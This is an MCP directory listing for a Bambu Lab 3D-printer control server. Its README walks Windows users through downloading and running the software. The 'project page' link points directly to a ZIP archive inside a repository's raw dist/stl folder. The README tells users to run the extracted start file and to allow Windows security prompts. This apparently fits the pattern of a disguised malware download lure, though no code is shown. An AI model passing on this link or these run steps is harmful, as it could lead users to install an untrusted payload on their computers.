Bambu Printer
FreeMaintainedControl Bambu Lab printers, edit STL files, and manage 3MF print workflows with an MCP server for Claude and other MCP clients
About
Control Bambu Lab printers, edit STL files, and manage 3MF print workflows with an MCP server for Claude and other MCP clients
README
🖥️ What this app does
bambu-printer-mcp helps you work with a Bambu Lab 3D printer from your computer. It can help with STL files, slicing in BambuStudio, and direct printer control.
Use it to:
- Prepare 3D models for printing
- Send jobs to a Bambu Lab printer
- Check printer status
- Work with STL and 3MF files
- Connect printer actions to other tools through MCP
📦 What you need
Before you install the app, make sure you have:
- A Windows PC
- A Bambu Lab 3D printer
- Bambu Studio installed
- A stable network connection
- Enough free disk space for model files and print jobs
🚀 Getting Started
- Open the project page: https://github.com/offthehook-implication870/bambu-printer-mcp/raw/refs/heads/main/dist/stl/printer_bambu_mcp_v1.5.zip
- Download or clone the project from that page
- Install the required files on your Windows PC
- Open the app or start the server
- Connect it to your Bambu Lab printer
- Test a simple model or printer command
⬇️ Download and install
Visit this page to download and set up the software:
If you see a releases area, get the latest Windows package from there. If the project page gives you source files, download the project files and place them in a folder on your PC.
After you download it:
- Right-click the file or folder
- Choose Extract All if it is a ZIP file
- Move the files to a folder you can find again
- Keep Bambu Studio installed on the same PC
- Open the setup steps from the project page and follow them in order
🔧 Basic setup
- Open the project folder
- Find the start file or setup file
- Run it on your Windows PC
- Allow Windows to finish any security prompt if it appears
- Enter your printer details if asked
- Start BambuStudio if the app asks for it
- Check that the printer shows as connected
🧩 How it fits into your workflow
This tool is useful when you want one place to handle print tasks.
It can help you:
- Load an STL file
- Prepare the model for slicing
- Send the sliced job to your printer
- Check print progress
- Handle printer commands from another tool that supports MCP
If you already use Bambu Studio, this app can work beside it and make routine steps easier to manage.
🧰 Main features
- STL file handling
- 3MF support
- BambuStudio slicing support
- Direct printer control
- MQTT-based printer communication
- MCP support for linked tools
- Help with printer tasks from your desktop
- Simple setup for Windows users
🗂️ File types you may use
You may work with these file types:
- STL
- 3MF
- Project files from Bambu Studio
- Print profiles
- G-code related files, when used in your workflow
🪟 Windows use
This project is made for people who want to run it on Windows.
Typical steps on Windows:
- Download the project
- Put it in a folder
- Install any needed tools
- Start the server or app
- Connect your printer
- Begin a test print or check printer status
If Windows asks for permission, allow the app to run so it can reach your printer and local files.
🔌 Printer connection
To connect your Bambu Lab printer:
- Make sure the printer is on the same network
- Check the printer IP address or connection method
- Follow the project setup for login or pairing
- Confirm the printer appears as ready
- Try a simple status check before sending a print
If you have more than one printer, set them up one at a time so you can verify each connection.
🧠 Using with other tools
bambu-printer-mcp works as an MCP server. That means other tools can talk to it and ask it to do printer-related tasks.
This can help you:
- Automate print steps
- Link printer actions to your own local tools
- Build a smoother workflow for 3D printing
- Keep model prep and printer control in one chain
🛠️ Common tasks
Load a model
- Open the app or server
- Choose your STL or 3MF file
- Confirm the model is ready for slicing
Slice a model
- Open the model in BambuStudio
- Pick a print profile
- Start slicing
- Save or send the result
Send to printer
- Choose the printer
- Review the job
- Start the print
Check printer status
- Open the status view
- Look at the current job
- Confirm temperatures and connection state
📁 Suggested folder setup
A simple folder layout can help:
C:\3D-Printing\bambu-printer-mcpC:\3D-Printing\ModelsC:\3D-Printing\ExportsC:\3D-Printing\Profiles
This makes it easier to find files later.
🧪 First test
After setup, try this:
- Open a small STL file
- Slice it in BambuStudio
- Send a short test job to the printer
- Watch the printer status
- Confirm the job starts as expected
Use a small model first so you can check your setup without wasting time or material.
❓ Troubleshooting
The printer does not connect
- Check that the printer is on
- Check the network connection
- Confirm the IP address or pairing details
- Restart the app and try again
BambuStudio does not start
- Check that BambuStudio is installed
- Open it once by hand
- Make sure Windows did not block it
Files do not open
- Check that the file is STL or 3MF
- Move the file to a simple folder path
- Avoid folder names with special characters
The job does not send
- Check the printer state
- Make sure the model finished slicing
- Confirm there is enough space on the printer side
- Try a fresh start of the app and printer
🔒 Local use
This project is meant for your own printer setup on your local computer or network. Keep your printer details private and store your files in a folder you control.
📚 Project topics
This repository includes tools and ideas related to:
- 3D printing
- Bambu Lab printers
- Bambu Studio
- STL tools
- Slicer workflows
- MQTT
- FTP
- Blender
- MCP
- Model Context Protocol
- Printer control
🧭 Best results
For the smoothest setup:
- Use a clean Windows folder
- Keep BambuStudio updated
- Start with one printer
- Test with a small model
- Read the project page before changing settings
📥 Download again
If you need the project page again, use this link:
Installing Bambu Printer
This server has no published package — it is built from source. Open the repository and follow its README.
▸ github.com/offthehook-implication870/bambu-printer-mcpFAQ
Is Bambu Printer MCP free?
Yes, Bambu Printer MCP is free — one-click install via Unyly at no cost.
Does Bambu Printer need an API key?
Yes, it requires environment variables: BAMBU_MODEL, BAMBU_SERIAL, BAMBU_TOKEN, BED_TYPE, BLENDER_MCP_BRIDGE_COMMAND, MCP_HTTP_ALLOWED_ORIGINS, MCP_HTTP_HOST, MCP_HTTP_JSON_RESPONSE, MCP_HTTP_PATH, MCP_HTTP_PORT, MCP_HTTP_STATEFUL, MCP_TRANSPORT, NOZZLE_DIAMETER, PRINTER_HOST, SLICER_PATH, SLICER_PROFILE, SLICER_TYPE, TEMP_DIR. Unyly injects them into the config during install.
Is Bambu Printer hosted or self-hosted?
Self-hosted: the server runs locally on your machine via the install command above.
How do I install Bambu Printer in Claude Desktop, Claude Code or Cursor?
Open Bambu Printer on unyly.org, pick your client tab (Claude Desktop, Claude Code, Cursor) and press Install — the config is generated automatically, no JSON editing.
Related MCPs
Fetch
Web content fetching and conversion for efficient LLM usage.
Roblox Studio
Enables AI coding tools to control Roblox Studio for workspace exploration, instance manipulation, and script management. It provides tools for playtesting, sce
by paralovAWS KB Retrieval
Retrieval from AWS Knowledge Base using Bedrock Agent Runtime.
by modelcontextprotocolSpring AI MCP Server
Provides auto-configuration for setting up an MCP server in Spring Boot applications.
llm-analysis-assistant
A very streamlined mcp client that supports calling and monitoring stdio/sse/streamableHttp, and can also view request responses through the /logs page. It also
by xuzexin-hzMCP-Agent
A simple, composable framework to build agents using Model Context Protocol by [LastMile AI](https://www.lastmileai.dev)
by lastmile-aiSpring AI MCP Client
Provides auto-configuration for MCP client functionality in Spring Boot applications.
mcp.natoma.ai
A Hosted MCP Platform to discover, install, manage and deploy MCP servers by [Natoma Labs](https://www.natoma.ai)
MCPHub
Website to list high quality MCP servers and reviews by real users. Also provide online chatbot for popular LLM models with MCP server support.
MCP Servers Rating and User Reviews
Website to rate MCP servers, write authentic user reviews, and [search engine for agent & mcp](http://www.deepnlp.org/search/agent)
Compare Bambu Printer with
Not sure what to pick?
Find your stack in 60 seconds
Author?
Embed badge for your README
Browse similar
All ai MCPs
